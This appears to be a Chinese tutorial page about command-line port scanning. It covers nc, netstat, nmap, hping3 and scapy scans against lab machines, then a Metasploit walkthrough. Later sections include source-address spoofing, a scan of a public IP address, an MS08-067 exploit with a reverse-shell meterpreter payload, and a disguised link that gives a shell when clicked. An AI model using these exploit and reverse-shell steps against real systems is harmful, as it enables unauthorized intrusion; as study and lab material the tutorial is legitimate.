导航:首页 > 程序命令 > 命令行端口扫描

命令行端口扫描

发布时间:2024-12-17 09:43:45

1. nc命令如何进行不同协议和端口的扫描

nc命令,作为NMAP项目的重要组成部分,是一个功能强大的网络工具,专为命令行操作而设计,它在数据传输方面表现出色。作为netcat家族的旗舰产品,nc不仅支持IPv4和IPv6,还为用户提供广泛的网络连接选项,包括TCP、UDP和SCTP端口,甚至可以进行SSL加密。它的设计目标是为开发者提供一个灵活的平台,使他们能够轻松地为不支持网络连接的软件添加支持。

nc的使用方式多样,其基本语法格式是nc [参数],其中包含一些常用参数。例如,-l选项用于监听模式,等待外部连接;-p用于设置本地端口;-s指定发送数据包的IP地址;-u启用UDP传输;-v用于显示详细过程;-w设置连接等待时间;而-z在扫描通信端口时使用0输入/输出模式,仅显示结果。

实际操作中,nc命令可以用于多种场景。例如,要扫描80端口,可以输入命令:nc -nvv 192.168.3.1 80。扫描UDP端口则为:nc -u -z -w2 192.168.0.1 1-1000。对于TCP端口扫描,命令为:nc -v -z -w2 192.168.0.3 1-1000。这些例子展示了nc命令在网络探测和连接方面的实用价值。
总的来说,nc命令是一个功能丰富的网络工具,通过灵活的参数配置,能够帮助用户快速、准确地进行网络通信和扫描,对于网络开发和管理具有重要意义。

2. 怎样知道一个端口是否被占用了

答案:可以通过命令行工具查看端口是否被占用。

详细解释

1. 使用命令行工具:在Windows系统中,可以使用“Windows命令提示符”或“PowerShell”;在linux或Mac系统中,则可以使用终端。

2. 使用netstat命令:在命令行中输入“netstat -ano”命令,可以列出所有正在使用的端口及其对应的进程ID。通过查看列表,可以判断特定端口是否正在被使用。

3. 筛选特定端口:如果知道要检查的端口号,比如8080,可以在netstat命令后加上“| findstr 端口号”来筛选特定端口的占用情况。例如,“netstat -ano | findstr 8080”。

4. 解释结果:如果端口被占用,将显示该端口正在被哪个进程使用。如果未显示任何信息,则表示该端口未被占用。

此外,还有其他工具如“端口扫描工具”或第三方软件也能查看端口占用情况。这些工具通常能提供更详细的信息,如端口的通信状态、连接数等。但在命令行工具中,netstat命令是最直接且常用的方法。如果对命令行操作不太熟悉,也可以尝试使用一些图形化界面的网络管理工具来查看端口占用情况。

通过上述方法,用户可以轻松判断特定端口是否被占用,并根据实际情况进行相应处理,如更改端口号或结束占用进程等。

3. 渗透测试之端口扫描

端口扫描:端口对应网络服务及应用端程序

服务端程序的漏洞通过端口攻入

发现开放的端口

更具体的攻击面

UDP端口扫描:

如果收到ICMP端口不可达,表示端口关闭

如果没有收到回包,则证明端口是开放的

和三层扫描IP刚好相反

Scapy端口开发扫描

命令:sr1(IP(dst="192.168.45.129")/UDP(dport=53),timeout=1,verbose=1)

nmap -sU 192.168.45.129

TCP扫描:基于连接的协议

三次握手:基于正常的三次握手发现目标是否在线

隐蔽扫描:发送不完整的数据包,不建立完整的连接,如ACK包,SYN包,不会在应用层访问,

僵尸扫描:不和目标系统产生交互,极为隐蔽

全连接扫描:建立完整的三次握手

所有的TCP扫描方式都是基于三次握手的变化来判断目标系统端口状态

隐蔽扫描:发送SYN数据包,如果收到对方发来的ACK数据包,证明其在线,不与其建立完整的三次握手连接,在应用层日志内不记录扫描行为,十分隐蔽,网络层审计会被发现迹象

僵尸扫描:是一种极其隐蔽的扫描方式,实施条件苛刻,对于扫描发起方和被扫描方之间,必须是需要实现地址伪造,必须是僵尸机(指的是闲置系统,并且系统使用递增的IPID)早期的win xp,win 2000都是递增的IPID,如今的LINUX,WINDOWS都是随机产生的IPID

1,扫描者向僵尸机发送SYN+ACY,僵尸机判断未进行三次握手,所以返回RST包,在RST数据包内有一个IPID,值记为X,那么扫描者就会知道被扫描者的IPID

2,扫描者向目标服务器发送SYN数据包,并且伪装源地址为僵尸机,如果目标服务器端口开放,那么就会向僵尸机发送SYN+ACK数据包,那么僵尸机也会发送RST数据包,那么其IPID就是X+1(因为僵尸机足够空闲,这个就为其收到的第二个数据包)

3,扫描者再向僵尸机发送SYN+ACK,那么僵尸机再次发送RST数据包,IPID为X+2,如果扫描者收到僵尸机的IPID为X+2,那么就可以判断目标服务器端口开放

使用scapy发送数据包:首先开启三台虚拟机,

kali虚拟机:192.168.45.128

Linux虚拟机:192.168.45.129

windows虚拟机:192.168.45.132

发送SYN数据包:

通过抓包可以查看kali给linux发送syn数据包

linux虚拟机返回Kali虚拟机SYN+ACK数据包

kali系统并不知道使用者发送了SYN包,而其莫名其妙收到了SYN+ACK数据包,便会发RST包断开连接

也可以使用下列该命令查看收到的数据包的信息,收到对方相应的SYN+ACK数据包,scapy默认从本机的80端口往目标系统的20号端口发送,当然也可以修改

如果向目标系统发送一个 随机端口:

通过抓包的获得:1,kali向linux发送SYN数据包,目标端口23456,

2,Linux系统由自己的23456端口向kali系统的20号端口返回RST+ACK数据包,表示系统端口未开放会话结束

使用python脚本去进行scapy扫描

nmap做隐蔽端口扫描:

nmap -sS  192.168.45.129 -p 80,21,110,443 #扫描固定的端口

nmap -sS 192.168.45.129 -p 1-65535 --open  #扫描该IP地址下1-65535端口扫描,并只显示开放的端口

nmap -sS 192.168.45.129 -p --open  #参数--open表示只显示开放的端口

nmap -sS -iL iplist.txt -p 80

由抓包可知,nmap默认使用-sS扫描,发送SYN数据包,即nmap=nmap  -sS

hping3做隐蔽端口扫描:

hping3 192.168.45.129 --scan 80 -S  #参数--scan后面接单个端口或者多个端口.-S表示进行SYN扫描

hping3 192.168.45.129 --scan 80,21,25,443 -S

hping3 192.168.45.129 --scan 1-65535 -S

由抓包可得:

hping3 -c 100  -S  --spoof 192.168.45.200 -p ++1 192.168.45.129

参数-c表示发送数据包的数量

参数-S表示发送SYN数据包

--spoof:伪造源地址,后面接伪造的地址,

参数-p表示扫描的端口,++1表示每次端口号加1,那么就是发送SYN从端口1到端口100

最后面跟的是目标IP

通过抓包可以得知地址已伪造,但对于linux系统(192.168.45.129)来说,它收到了192.168.45.200的SYN数据包,那么就会给192.168.45.200回复SYN+ACK数据包,但该地址却是kali伪造的地址,那么要查看目标系统哪些端口开放,必须登陆地址为kali伪造的地址即(192.168.45.200)进行抓包

hping3和nmap扫描端口的区别:1,hping3结果清晰明了

  2,nmap首先对IP进行DNS反向解析,如果没成功,那么便会对其端口发送数据包,默认发送SYN数据包

hping3直接向目标系统的端口发送SYN数据包,并不进行DNS反向解析

全连接端口扫描:如果单独发送SYN数据包被被过滤,那么就使用全连接端口扫描,与目标建立三次握手连接,结果是最准确的,但容易被入侵检测系统发现

response=sr1(IP(dst="192.168.45.129")/TCP(dport=80,flags="S"))

reply=sr1(IP(dst="192.168.45.129")/TCP(dport=80,flags="A",ack=(response[TCP].seq+1)))

抓包情况:首先kali向Linux发送SYN,Linux回复SYN+ACK给kali,但kali的系统内核不清楚kali曾给linux发送给SYN数据包,那么kali内核莫名其妙收到SYN+ACK包,那么便会返回RST请求断开数据包给Linux,三次握手中断,如今kali再给Linux发ACK确认数据包,Linux莫名其妙收到了ACK数据包,当然也会返回RST请求断开数据包,具体抓包如下:

那么只要kali内核在收到SYN+ACK数据包之后,不发RST数据包,那么就可以建立完整的TCP三次握手,判断目标主机端口是否开放

因为iptables存在于Linux内核中,通过iptables禁用内核发送RST数据包,那么就可以实现

使用nmap进行全连接端口扫描:(如果不指定端口,那么nmap默认会扫描1000个常用的端口,并不是1-1000号端口)

使用dmitry进行全连接端口扫描:

dmitry:功能简单,但功能简便

默认扫描150个最常用的端口

dmitry -p 192.168.45.129  #参数-p表示执行TCP端口扫描

dmitry -p 192.168.45.129 -o output  #参数-o表示把结果保存到一个文本文档中去

使用nc进行全连接端口扫描:

nc -nv -w 1 -z 192.168.45.129 1-100:      1-100表示扫描1-100号端口

参数-n表示不对Ip地址进行域名解析,只把其当IP来处理

参数-v表示显示详细信息

参数-w表示超时时间

-z表示打开用于扫描的模式

4. 如何用Metasploit扫描端口

一、调用Nmap进行扫描
进入msf命令行后直接输入nmap –v –sVip(具体命令和nmap一样)
二、MSF模块扫描
Use auxiliary/scanner/postscan/syn
先用搜索命令搜索有关端口扫描的工具:searchportscan
我们使用Use auxiliary/scanner/postscan/syn
看一下参数配置 showoptions

我们先来设置一下网卡
Set INTERFACE eth0
设置一下扫描的端口,我们这里来扫描80:set PORTS 80
设置扫描目标RHOSTS :set RHOSTS 119.63.37.149
在设置一下线程:set THREADS 100
看一下我们设置好的

这时候我们都设置好了,我们来攻击下,看看效果,用命令run进行攻击
缺点就是扫描的速度有点慢啊

MetaSploit SMB扫描获取系统信息
还是搜索一下smb:searchsmb

这次发现搜出来很多,我们用这个模块
Use auxiliary/scanner/smb/smb_version
看一下需要设置的参数

设定目标ip:set RHOSTS 192.168.188.140
在设置一下线程:set THREAD 10
然后run一下,查看结果

直接扫描出来小伙伴的系统还有主机名,速度不到1s,很快
也可以批量扫描设置批量扫描目标即可 set RHOSTS 192.168.188.50-200

MetaSploit服务识别
我们这里对SSH和FTP进行识别
在这里使用这个模块:use auxiliary/scanner/ssh/ssh_version
然后我们设置一下参数,这里讲设置好的参数截图看一下

Run一下看看结果,其实没有扫出来,好像是屏蔽了,但是用nmap却扫出来了ssh

在试一下ftp,用这个模块:use auxiliary/scanner/ftp/ftp_version
设置下参数

可以看到结果,也没有扫描出来;
MetaSploit SNMP扫描与枚举
搜索一下snmpuse auxiliary/scanner/snmp/snmp_login
看一下他的参数设置

这个参数还是很多的
设定一下目标
然后在run一下
枚举用这个模块
use auxiliary/scanner/snmp/snmp_enum

设置好目标和线程后run一下就可以

MetaSploit远程代码执行
搜索一下08-067,使用这个攻击载荷
use exploit/windows/smb/ms08_067_netapi
同样来看一下参数设置

我们只要设置一下目标就可以,然后我们需要一个载荷来反弹shell
set payload windows/meterpreter/reverse_tcp
然后设置参数

将LHOST 设置为自己的ip(对外攻击不要忘了段口转发)
比如说知道对面的系统是什么版本,可以指定targer,用target查看一下都有什么版本

设置一下目标,假设我们目标机器的系统为10:set target 10
这时候,我们再来看一下其参数设置,发现比以前完备了好多

08-067是不会自动识别系统版本的,但是其他的可以自动识别,所以用其他攻击载荷的时候可以不用设置
然后输入exploit进行攻击即可
这时候会出来一个meterpreter>
我们在里面输入shell,就会反弹一个shell
这样整个攻击过程就完成了

MetaSploit MIDI文件解析远程代码执行
还是来搜索12-004

设置下本机ip set SRVHOST ip
然后攻击

会生成一个连接,但是这个链接容易让人发现,所以我们可以伪装下ip利用URIPATH参数就可以伪装
在设置时,会发现报红,因为4444端口被占用了,所以我们改下监听端口 set LPORT 5555
然后生成连接

只要目标点了这个链接,那么我们就会上线一个shell
说一下,目标点击后我们这边并没有反映,我们需要输下session查看当前会话,会找到上线的机子,连接上线的机子
Session –I 1(id)
然后输入shell就可以拿到shell

阅读全文

与命令行端口扫描相关的资料

热点内容
走势图网源码 浏览:620
算法案例开发 浏览:174
电脑桌面psd源码 浏览:363
汽车教学去哪个app 浏览:570
单片机的can 浏览:423
安卓把软件商店删了怎么回来 浏览:538
哪个app可以搜小学资料答案 浏览:961
以太坊用的什么编译语言 浏览:176
如何让服务器通过域名访问 浏览:898
美国压缩机控制 浏览:724
本地连接首选dns服务器填什么 浏览:181
冰箱压缩机里面是什么 浏览:771
怎么把文件夹三列改为一列 浏览:5
android调用系统返回键 浏览:270
如何在服务器端查看请求头 浏览:232
明日之后小米服是什么服务器 浏览:510
为什么FTX交易所app打不开 浏览:970
松下5p压缩机 浏览:896
算法新闻传播主体 浏览:955
安卓机为什么都大下巴 浏览:977